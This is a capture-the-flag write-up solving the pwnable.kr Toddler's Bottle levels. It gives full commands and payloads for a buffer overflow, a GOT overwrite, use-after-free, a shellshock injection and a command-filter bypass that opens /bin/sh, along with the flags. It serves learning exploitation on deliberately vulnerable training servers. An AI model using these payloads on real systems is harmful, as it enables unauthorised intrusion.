What follows is a write-up of a system exploitation war game, Pwnable.kr’s Toddler’s Bottle.
The war game has players try to compromise different servers, websites, devices, and applications. The players get a flag if they succeed in compromising the system.
[*] Status: COMPLETED
Level 0: fd
Goal:
Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://www.youtube.com/watch?v=blAxTfcW9VU
ssh fd@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the resources:
ls
Reading the source code:
cat fd.c
Notice that the file descriptor (fd) is the result of our argument minus 0x1234.
If we pass the decimal value of 0x1234, then the fd is set to 0.
A fd of 0 represents standard input.
This all means that if we set fd to 0, we can then pass “LETMEWIN” as the buffer, which gives us a shell.
Getting the decimal value of 0x1234:
python -c ‘print 0x1234’
Getting a shell and the flag:
./fd 4660
LETMEWIN
Flag: mommy! I think I know what a file descriptor is!!
Level 1: collision
Goal:
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the resources:
ls
Reading the source code:
cat col.c
We have several hints on how to complete this challenge.
1) The attack is an MD5 hash collision
2) The hash is 0x21DD09EC
3) Our input has to be 20 bytes long
A hash collision occurs when two input strings of a hash function produce the same hash. This is possible because the hash is a fixed-size value, while the input variations are limitless. See source.
With all the hints provided we know what we have to do.
First, translate the hash to decimal.
Second, divide the decimal value by five, since the input has to be 20 bytes long.
Third, translate the appropriate numbers from decimal to hex.
Fourth, cause the collision.
Translating the hash from hex to decimal:
python -c ‘print 0x21DD09EC’
Decimal: 568134124
Performing the calculations:
python
First value: 454507296
Second value: 113626828
Translating the values to hex:
First value: 0x1b173b20
Second value: 0x6c5cecc
Causing the hash collision:
./col $(python -c ‘print(“\xc8\xce\xc5\x06” * 4 + “\xcc\xce\xc5\x06”)’)
Flag: daddy! I just managed to create a hash collision 🙂
Level 2: bof
Goal:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Solution:
Reading the source code:
cat bof.c
Notice that “overflowme” has a 32-byte buffer. The key is to smash overflowme and put cafebabe in its place.
Inspecting bof in Binary Ninja:
Notice the variable (ebp – 0x2c) and the argument (ebp + 0x8). The argument is what is compared against 0xcafebabe, which means it is what we have to overwrite.
Determining our buffer is simple.
(ebp + 0x8) – (ebp – 0x2c)
Determining the buffer size:
chmod u+x bof
gdb -q ./bof
br *func
r
x $ebp+0x8
x $ebp – 0x2c
python -c ‘print 0xffffd900 – 0xffffd8cc’
We have everything we need. The payload will consist of:
52-byte buffer + 0xcafebabe
Smashing the stack:
(python -c ‘print “A” * 52 + “\xbe\xba\xfe\xca”‘; cat) | nc pwnable.kr 9000
cat flag
Flag: daddy, I just pwned a buFFer 🙂
Note: Another simple way to solve this would have been to either dumb fuzz the binary or to send a unique string of a certain length to determine where the offset was.
Level 3: flag
Goal:
Papa brought me a packed present! let’s open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
Solution:
Checking what the binary is:
file flag
strings flag
The challenge description and the strings output reveal this is a UPX packed file.
Unpacking the file:
upx -d flag -o flag_unpacked
Inspecting the binary in Binary Ninja:
Double-click on 0x496658
We have the flag.
Flag: UPX…? sounds like a delivery service 🙂
Level 4: passcode
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the directory contents:
ls -l
Reading the source code:
cat passcode.c
Notice the structure of the program. Main first calls welcome() and then login().
Welcome() takes in a name into a 100-byte buffer. Login() takes in the two passcodes consecutively.
From this we can see that we can reach passcode1 and passcode2 if we overflow name.
Downloading the binary:
scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./
Inspecting the binary in Binary Ninja:
Notice in welcome() that ebp-0x70 or var_74 should be “name”.
Notice that ebp-0x10 or var_14 should be “passcode1”.
Calculating the offset:
python -c ‘print 0x70 – 0x10’
We are going to have a 96-byte buffer.
Since our goal is to call system, we are going to overwrite a function in the Global Offset Table (GOT).
We will replace fflush (0x804a004) with our call to system (0x80485ea).
This type of attack is referred to as GOT Overwrite.
All library functions used by a binary, such as printf and system, have an entry in the GOT with the address of where the function is located. Because the addresses are not hardcoded, the libraries are relocated within memory.
By overwriting a GOT entry, we can control the execution flow and jump to any executable address we want, such as system in this case.
For more information on the advantages of GOT overwrite read starting from page 24 of this paper; or read the whole paper!
Translating the call to system from hex to decimal:
python -c “print 0x080485e3”
Overwriting fflush and calling system:
python -c “print (96 * ‘A’) + ‘\x04\xa0\x04\x08’ + ‘134514147’” | ./passcode
Flag: Sorry mom.. I got confused about scanf usage 😦
Level 5: random
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the directory contents:
ls -l
Reading the source code:
cat random.c
Notice that rand() is not provided any arguments, hence the output will always be the same.
rand() reference
Our way in is to XOR the non-random value against 0xdeadbeef.
Running rand() to get the non-random value:
cp random.c /tmp/rand.c
vi /tmp/rand.c
Add the following line under “random”:
cd /tmp
gcc rand.c
./a.out
“Random” value: 1804289383
Getting the key:
python -c ‘print 1804289383 ^ 0xdeadbeef’
Key: 3039230856
Getting the flag:
cd
./random
Flag: Mommy, I thought libc random is unpredictable…
Level 6: input
Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the directory contents:
ls -l
Reading the source code:
cat input.c
This looks like a very fun exercise. We have to execute a five-stage attack, using different input methods.
We will create our script in /tmp/destroyer_input/ and link the flag afterwards, before execution.
Crafting our exploit:
mkdir /tmp/destroyer_input
cd /tmp/destroyer_input
vi destroyer_input.c
Creating a symbolic link to the flag:
ln -s /home/input2/flag flag
Compiling the program:
gcc destroyer_input.c -o destroyer
Grabbing the flag:
./destroyer
Flag: Mommy! I learned how to pass various input in Linux 🙂
Level 7: leg
Daddy told me I should study arm.
But I prefer to study my leg!
Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm
ssh leg@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the source code:
gedit leg.c
Notice that the solution is the sum of key1, key2, and key3.
We will read the Assembly code in leg.asm in order to figure out what those values are.
From leg.c we can see that we will be dealing with ARM Assembly.
We know this because pc (program counter) is an ARM-specific register.
For more information on ARM, read the following.
• Register-relative and PC-relative expressions
• Processor core registry summary
In ARM, the value of PC is the addr of the current instruction + 8 bytes.
When in Thumb Mode, the value of PC is the addr of the current instruction + 4 bytes.
The program enters Thumb Mode (or ARM Mode) via the bx (branch exchange) instruction.
Checking the disassembly:
gedit leg.asm
key1 / r0 = 0x8cdc + 8
Notice that the program entered Thumb mode.
key2 / r0 = 0xad04 + 4 + 4
Key3 returns LR which is the link register, which stores the return address.
From the documentation:
The LR receives the return address from PC when a Branch and Link (BL) or Branch and Link with Exchange (BLX) instruction is executed.
This translates to:
key3 / r0 = 0x8d80
We now have all the key information needed.
Generating the key:
python -c “print (0x8cdc + 8) + (0x8d04 + 4 + 4) + 0x8d80”
Key: 108400
Getting the flag:
./leg
Flag: My daddy has a lot of ARMv5te muscle!
Level 8: mistake
We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)
This task is based on real event
Thanks to dhmonkey
hint : operator priority
ssh mistake@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the directory contents:
ls -l
Reading the source code:
cat mistake.c
The key here is the XOR. The buffer length is 10 and the characters are XOR’ed against 1.
Hence, we first have to enter 10 zeroes, and then 10 ones in order to pass the challenge.
Bypassing the system:
./mistake
0000000000
1111111111
Flag: Mommy, the operator priority always confuses me 😦
Level 9: shellshock
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 🙂
ssh shellshock@pwnable.kr -p2222 (pw:guest)
Solution:
Checking the directory contents:
ls -l
The name of the challenge and its descriptions lead us to believe it has to do with the shellshock bug.
Shellshock syntax:
env val='() { :;}; <command we want to execute>’ <command that is allowed>
In our case, we will have the shellshock program, which has root privileges, carry and execute our malicious command.
Shellshocking the system:
env val='() { :;}; /home/shellshock/bash -c “cat /home/shellshock/flag”‘ ./shellshock
Flag: only if I knew CVE-2014-6271 ten years ago..!!
Level 10: coin 1
Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)
Running at : nc pwnable.kr 9007
Solution:
”’
Upon connecting to the server, we get the following information:
—————————————————
– Shall we play a game? –
—————————————————
You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward 🙂
FYI, you have 30 seconds.
– How to play –
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer
– Example –
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!
”’
vi counterfeit_coins.py
#!/usr/bin/python
import socket
import sys
import re
# Establish socket connection
def connect(host, port):
s = None
for res in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error, msg:
s = None
continue
try:
s.connect(sa)
except socket.error, msg:
s.close()
s = None
continue
break
return s
# If the weight is incorrect, then the counterfeit coin is in the current half
# Otherwise, it is in the other half
def weight(current_index, coin_weight, other_index):
if coin_weight != (current_index[1] – current_index[0]) * 10:
return current_index
else:
return (current_index[1], other_index[1])
# Format the index range to string
def getNumbers(i_range):
string_list = []
for i in range(i_range[0], i_range[1]):
string_list.append(str(i))
return ‘ ‘.join(string_list)
def main():
# Uploaded script to server and ran local for more speed
host = ‘localhost’
#host = ‘pwnable.kr’
# Port used by server
port = 9007
s = connect(host, port)
if s is None:
print “[!] Unable to open socket”
sys.exit(1)
# The range to be weighed
index = None
# The range that contains the counterfeit coin
second_range = None
while True:
data = s.recv(1024)
print str(data)
pattern1 = re.compile(“””^N=([0-9]*) C=([0-9]*)$”””)
match1 = pattern1.match(str(data))
pattern2 = re.compile(“””^([0-9]*)$”””)
match2 = pattern2.match(str(data))
# First round
if match1:
first_range = (0, int(match1.group(1)) / 2)
second_range = (0, int(match1.group(1)))
print str(getNumbers(first_range))
s.send(getNumbers(first_range) + “\r\n”)
# Second round
elif match2 and len(match2.group(1)) > 0:
second_range = weight(index, int(match2.group(1)), second_range)
# Get the ceiling value when divided by 2
index = (second_range[0], (second_range[0] + second_range[1]) / 2 + (second_range[0] + second_range[1]) % 2)
print str(getNumbers(index))
s.send(getNumbers(index) + “\r\n”)
elif “format error” in str(data) or “time expired! bye!” in str(data):
break
s.close()
main()
”’
Since the network response time was too slow, we are going to run the script within the server’s /tmp folder
”’
ssh shellshock@pwnable.kr -p2222
vi /tmp/counterfeit_coins.py
<Paste the code>
python /tmp/counterfeit_coins.py
# Note: You may get a “format error” error at times. Just run the script again.
Flag: b1NaRy_S34rch1nG_1s_3asy_p3asy
Level 11: blackjack
Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
I like to give my flags to millionares.
how much money you got?
Running at : nc pwnable.kr 9009
Solution:
”’
Notice in the code:
if (bet > cash) //If player tries to bet more money than player has
{
printf(“\nYou cannot bet more money than you have.”);
printf(“\nEnter Bet: “);
scanf(“%d”, &bet);
return bet;
}
While the first check succeeds, there is no check for the second bet.
So this means that we can enter any amount we want the second time.
”’
Are You Ready? : Y
Choice: 1
Enter Bet: $1000000000
Enter Bet: 1000000000
H
# Repeat the process until we win
Flag: YaY_I_AM_A_MILLIONARE_LOL
Level 12: lotto
Mommy! I made a lotto program for my homework.
do you want to play?
ssh lotto@pwnable.kr -p2222 (pw:guest)
Solution:
ls -l
cat lotto.c
”’
Notice in the source code:
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system(“/bin/cat flag”);
}
The program compares each input character six times
To win, we need to have six matches
So, we can just enter any equal six characters and eventually win
”’
./lotto
Choice: 1
Keep entering: $$$$$$
# I won on my fourth attempt.
Flag: sorry mom… I FORGOT to check duplicate numbers… 😦
Level 13: cmd1
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
Solution:
ls -l
cat cmd1.c
”’
Notice in the source code:
int filter(char* cmd){
int r=0;
r += strstr(cmd, “flag”)!=0;
r += strstr(cmd, “sh”)!=0;
r += strstr(cmd, “tmp”)!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv(“PATH=/fuckyouverymuch”);
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
This means we can’t use “flag”, “sh”, or “tmp”.
The solution is simple: Use a wildcard.
”’
./cmd1 “/bin/cat f*”
Flag: mommy now I get what PATH environment is for 🙂
Level 14: cmd2
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission…
but I wanna play anytime I want!
ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
Solution:
ls -l
cat cmd2.c
”’
Notice in the source code:
int filter(char* cmd){
int r=0;
r += strstr(cmd, “=”)!=0;
r += strstr(cmd, “PATH”)!=0;
r += strstr(cmd, “export”)!=0;
r += strstr(cmd, “/”)!=0;
r += strstr(cmd, “`”)!=0;
r += strstr(cmd, “flag”)!=0;
return r;
}
This means we can’t use “=”, “PATH”, “export”, “/”, “`”, nor “flag”.
A way around this is to use another character encoding standard, such as octal.
If you don’t have a script to do this, you can use the following website:
http://www.unit-conversion.info/texttools/octal/
Ascii: /bin/sh
Octal: 057 142 151 156 057 163 150
”’
./cmd2 “\$(echo -n ‘\\057\\142\\151\\156\\057\\163\\150’)”
/bin/cat flag
Flag: FuN_w1th_5h3ll_v4riabl3s_haha
Level 15: uaf
Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
Solution:
ls -l
cat uap.cpp
”’
Notice the following in the source code:
Note in case 2 (after):
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << “your data is allocated” << endl;
Which translates to “len” bytes being allocated on the heap and the ptr being in data.
argv1 = len and argv2 = file with the pointer to be read
We will download the binary to explore further.
”’
scp -P 2222 uaf@pwnable.kr:/home/uaf/uaf ./
# We are going to open UAF in Binary Ninja as well as GDB
Drag uaf to Binary Ninja
Ctrl + F -> Man
”’
Notice under the vtable_for_Man, there is xref to 0x401288, where:
mov qword [rax], data_401570
”’
gdb ./uaf
br *main
# We are going to look at 20 addresses starting from 0x401570
x/20a 0x401570
”’
Take note of the output:
0x401570 <_ZTV3Man+16>: 0x40117a <_ZN5Human10give_shellEv> 0x4012d2 <_ZN3Man9introduceEv>
Knowing this, we can now take “give_shell” and feed it to “introduce”.
Calculation: 401570 – 8 = 401568
We can now use this address to take over the machine.
Remember the program takes two parameters, length and file.
”’
python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00′” > /tmp/cookies
./uaf 24 /tmp/cookies
3 # free ; delete 48 bytes (man and woman)
2 # after ; add 24 bytes
2 # after ; add 24 bytes
1 # use ; run introduce() (give_shell is now here)
cat flag
Flag: yay_f1ag_aft3r_pwning
Level 16: codemap
I have a binary that has a lot information inside heap.
How fast can you reverse-engineer this?
(hint: see the information inside EAX,EBX when 0x403E65 is executed)
download: http://pwnable.kr/bin/codemap.exe
ssh codemap@pwnable.kr -p2222 (pw:guest)
Solution:
”’
This challenge was geared towards using the Codemap plug-in for IDA.
I don’t have IDA, so this is where I’ll stop.
”’
— Toddler’s Bottle Finished —
Notes on the war game: Very fun and educational challenges.My favorite was the “leg” challenge, as it introduced players to ARM architecture.
One thought on “Pwnable.kr – Toddler’s Bottle Write-Up”